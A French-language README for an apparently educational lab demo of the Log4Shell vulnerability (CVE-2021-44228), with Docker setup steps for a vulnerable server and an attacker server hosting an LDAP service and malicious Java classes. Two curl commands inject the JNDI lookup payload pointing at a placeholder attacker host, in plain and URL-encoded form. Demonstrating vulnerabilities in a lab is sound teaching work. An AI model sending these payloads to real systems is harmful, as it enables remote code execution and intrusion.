
Démo pour montrer comment fonctionne la vulnérabilité Log4Shell / CVE-2021-44228
Ce projet vise à démontrer le fonctionnement de la vulnérabilité Log4Shell / CVE-2021-44228.
Vous avez seulement besoin d'avoir Docker installé. Idéalement, vous disposez de deux machines virtuelles différentes. Une pour le serveur vulnérable et une pour le serveur malveillant qui hébergera la base de code malveillante et un serveur LDAP.
Optionnellement, vous pouvez avoir Make et Docker Compose installés mais ce n'est pas nécessaire car ce dépôt contient également un make.sh pour contourner ces prérequis et les utiliser depuis un conteneur Docker.
Si ce n'est pas déjà fait, voici les étapes pour installer Docker sur une VM Debian. Vous pouvez utiliser ces étapes : https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
Cela démarrera un serveur LDAP de base et un serveur Python de base pour servir les classes Java malveillantes.
Vous devez fournir l'adresse IP ou le nom de domaine où ces serveurs seront disponibles
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
ou juste
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
où ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} est simplement encodé en URL
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf